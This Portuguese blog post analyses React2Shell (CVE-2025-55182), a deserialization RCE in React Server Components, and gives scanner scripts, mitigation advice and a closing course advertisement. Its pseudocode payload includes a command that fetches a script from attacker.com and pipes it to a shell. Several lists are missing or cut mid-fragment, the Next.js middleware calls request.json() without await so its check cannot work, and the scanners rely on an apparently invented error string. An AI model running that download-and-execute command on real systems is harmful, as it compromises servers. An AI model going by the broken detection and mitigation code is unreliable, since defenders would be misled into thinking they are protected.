Por Lachlan Davidson
Última atualização: 4 de dezembro de 2025
Nos últimos anos, a adoção do React e de seus frameworks associados disparou, impulsionando desde pequenos projetos web até aplicações corporativas de larga escala. Com esse aumento de popularidade, cresce também a preocupação com vulnerabilidades, especialmente as que afetam componentes críticos do ecossistema.
Em 29 de novembro de 2025, eu, Lachlan Davidson, divulguei de forma responsável uma vulnerabilidade devastadora — React2Shell (CVE-2025-55182) — à equipe da Meta. A falha, que afeta implementações server-side de React, particularmente por meio do protocolo “Flight” dos React Server Components (RSC), foi corrigida pelas equipes do React e da Vercel em 3 de dezembro de 2025. Este post apresenta uma análise detalhada da vulnerabilidade, desde seus pormenores técnicos até a exploração no mundo real, além de cobrir as melhores práticas de detecção e mitigação.
Neste artigo, vamos abordar:
Seja você profissional de segurança, desenvolvedor em busca de compreender riscos ou entusiasta de tecnologias web modernas, este blog o guiará desde conceitos iniciais até técnicas avançadas de exploração e defesas proativas.
A linha do tempo dos eventos é crucial para entender o gerenciamento de risco e a resposta rápida que cercaram o incidente:
Um CVE adicional, o CVE-2025-66478, foi atribuído ao Next.js devido à inclusão “vendored” do React, embora tecnicamente seja um duplicado do CVE-2025-55182. Essa decisão ajuda fornecedores e equipes de segurança a rastrear dependências que scanners tradicionais podem ignorar.
React2Shell refere-se a uma vulnerabilidade crítica (CVE-2025-55182) no ambiente de React Server Components (RSC), afetando especificamente o protocolo “Flight”. A vulnerabilidade permite execução remota de código (RCE) não autenticada no lado do servidor devido a práticas inseguras de desserialização no pacote react-server.
Principais características:
create-next-app) são suscetíveis, a menos que endurecidas explicitamente.A causa raiz do React2Shell está na forma como o servidor processa payloads de React Server Components. O processo de desserialização não valida adequadamente a estrutura dos dados recebidos. Um invasor pode enviar dados personalizados que, quando desserializados, provocam execução de código não intencional no servidor.
Fluxo simplificado:
A falha é especialmente perigosa pois a configuração padrão de muitas aplicações não inclui sanitização ou restrições que poderiam mitigar esse risco.
O Next.js incorpora o React como dependência “vendored”. Scanners de dependências que analisam apenas package.json podem não detectar a vulnerabilidade. Para cobrir essa lacuna, criou-se o CVE-2025-66478. Embora duplicado, o identificador separado garante visibilidade aos usuários de Next.js.
Desserialização é o processo de converter dados serializados (JSON, binário etc.) em objetos ou estruturas executáveis. Ela se torna insegura quando:
Os React Server Components utilizam o protocolo Flight para trocar dados entre servidor e cliente de forma eficiente. Apesar da performance, o protocolo introduziu um vetor de exploração devido à validação insuficiente no pacote react-server.
Fluxo ao receber um request Flight:
Como implantações modernas de Next.js abstraem muito dessa lógica, desenvolvedores costumam assumir que suas apps estão “seguras por padrão”. Infelizmente, essa vulnerabilidade quebra essa premissa.
Pouco após o PoC público, várias campanhas automatizadas foram registradas:
Um incidente real envolveu aplicação Next.js em cluster Kubernetes. O atacante enviou request HTTP aparentemente inofensivo com payload Flight manipulado. Após executado, o atacante:
Isso mostrou como vulnerabilidade em framework de alto nível pode resultar em penetração profunda em ambientes cloud-native.
Dados da Wiz Research indicam:
Tais incidentes reforçam a importância de postura de segurança abrangente, que não apenas aplique patches, mas monitore comportamento anômalo continuamente.
Detecção rápida e aplicação de patches são cruciais para minimizar danos. Abaixo, técnicas e scripts de exemplo para identificar instâncias vulneráveis.
#!/bin/bash
# Scanner de vulnerabilidade simples para React2Shell (CVE-2025-55182)
# Substitua <url_alvo> pela URL que deseja testar.
ALVO="<url_alvo>"
PAYLOAD='{"malicious": "payload"}' # Payload de exemplo
echo "Escaneando $ALVO para React2Shell..."
RESPOSTA=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$ALVO")
# Analisa resposta em busca de padrões incomuns ou erros
if echo "$RESPOSTA" | grep -q "Error processing Flight payload"; then
echo "Possível vulnerabilidade detectada em $ALVO"
else
echo "Nenhum sinal óbvio em $ALVO. Análise adicional recomendada."
fi
Obs.: Script rudimentar — ajuste payload e lógica de análise conforme inteligência de ameaças atual.
import requests, json
def escanear(alvo):
payload = {"test": "data", "action": "simulate_deserialization"}
headers = {"Content-Type": "application/json"}
print(f"Escaneando {alvo} para React2Shell...")
try:
r = requests.post(alvo, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] Possível vulnerabilidade detectada em {alvo}")
else:
print(f"[-] Nenhum indício imediato em {alvo}.")
except requests.exceptions.RequestException as e:
print(f"[-] Erro ao escanear {alvo}: {e}")
if __name__ == "__main__":
alvos = [
"https://exemplo.com/api/flight",
"https://outro-exemplo.com/api/flight"
]
for alvo in alvos:
escanear(alvo)
/api/flight.// Pseudocódigo ilustrando estrutura de payload malicioso
const payloadMalicioso = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: {
timestamp: Date.now(),
nonce: Math.random().toString(36).substring(2),
}
};
const serializado = JSON.stringify(payloadMalicioso);
sendToServer(serializado);
Aviso: Código apenas para fins educacionais. Exploração não autorizada é crime.
Defensores devem manter logs detalhados e processos de resposta a incidentes bem definidos.
Falsos positivos podem surgir se scanners detectam funções perigosas porém legítimas, como:
vm#runInThisContextchild_process#execfs#writeFileA presença dessas APIs não indica, por si só, vulnerabilidade ao React2Shell. A falha explora a gestão automática de funções server-side pelo Next.js, independentemente de tais APIs estarem expostas.
Recomendações:
react-server-dom* 19.0.1, 19.1.2 ou 19.2.1./api/flight com camadas extras.// Middleware Next.js – exemplo de sanitização extra
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Formato de payload inválido', { status: 400 });
}
} catch (err) {
return new NextResponse('Erro ao processar requisição', { status: 400 });
}
}
return NextResponse.next();
}
React2Shell (CVE-2025-55182) relembra que até frameworks amplamente adotados, como React e Next.js, não estão imunes a vulnerabilidades graves. Enraizada em desserialização insegura no protocolo “Flight”, a falha tem grande alcance devido à severidade, facilidade de exploração e prevalência em configurações padrão.
Principais lições:
Compreendendo os detalhes técnicos e o cenário de ameaça, desenvolvedores e profissionais de segurança podem fortalecer suas aplicações contra essa vulnerabilidade crítica.
Este guia completo deve capacitá-lo a lidar com o React2Shell em sua totalidade — desde os detalhes técnicos da vulnerabilidade até métodos práticos de detecção e mitigação. Mantenha-se atualizado com os comunicados oficiais e refine continuamente sua postura de segurança à medida que novas informações surgem.
Boa codificação (segura)!
Se você achou este conteúdo valioso, imagine o que você poderia alcançar com nosso programa de treinamento de elite abrangente de 47 semanas. Junte-se a mais de 1.200 alunos que transformaram suas carreiras com as técnicas da Unidade 8200.